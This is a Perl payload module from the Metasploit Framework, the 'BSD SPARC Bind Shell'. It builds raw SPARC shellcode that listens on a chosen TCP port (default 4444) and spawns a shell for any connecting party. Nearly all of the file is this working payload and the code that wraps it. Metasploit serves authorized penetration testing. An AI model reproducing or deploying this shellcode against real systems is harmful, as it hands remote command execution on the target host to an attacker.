##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Payload::bsd_sparc_bind;
use base 'Msf::PayloadComponent::BindConnection';
use strict;
use Pex::SPARC;
my $info =
{
'Name' => 'BSD SPARC Bind Shell',
'Version' => '$Revision: 1923 $',
'Description' => 'Listen for connection and spawn a shell',
'Authors' => [ 'vlad902 <vlad902 [at] gmail.com>', ],
'Arch' => [ 'sparc' ],
'Priv' => 0,
'OS' => [ 'bsd' ],
'Size' => '',
};
sub new {
my $class = shift;
my $hash = @_ ? shift : { };
$hash = $class->MergeHashRec($hash, {'Info' => $info});
my $self = $class->SUPER::new($hash, @_);
$self->_Info->{'Size'} = $self->_GenSize;
return($self);
}
sub Build {
my $self = shift;
return($self->Generate($self->GetVar('LPORT')));
}
sub Generate {
my $self = shift;
my $port = shift;
my $shellcode =
"\x9c\x2b\xa0\x07\x94\x1a\xc0\x0b\x92\x10\x20\x01\x90\x10\x20\x02".
"\x82\x10\x20\x61\x91\xd0\x20\x08\xd0\x23\xbf\xf8".
Pex::SPARC::Set(0xff020000 | $port, "l0").
"\xe0\x23\xbf\xf0\xc0\x23\xbf\xf4\x92\x23\xa0\x10\x94\x10\x20\x10".
"\x82\x10\x20\x68\x91\xd0\x20\x08\xd0\x03\xbf\xf8\x92\x10\x20\x01".
"\x82\x10\x20\x6a\x91\xd0\x20\x08\xd0\x03\xbf\xf8\x92\x1a\x40\x09".
"\x94\x12\x40\x09\x82\x10\x20\x1e\x91\xd0\x20\x08\xd0\x23\xbf\xf8".
"\x92\x10\x20\x03\x92\xa2\x60\x01\x82\x10\x20\x5a\x91\xd0\x20\x08".
"\x12\xbf\xff\xfd\xd0\x03\xbf\xf8\x94\x1a\xc0\x0b\x21\x0b\xd8\x9a".
"\xa0\x14\x21\x6e\x23\x0b\xdc\xda\x90\x23\xa0\x10\x92\x23\xa0\x08".
"\xe0\x3b\xbf\xf0\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b".
"\x91\xd0\x20\x08";
return $shellcode;
}
sub _GenSize {
my $self = shift;
my $bin = $self->Generate('4444');
return(length($bin));
}
1;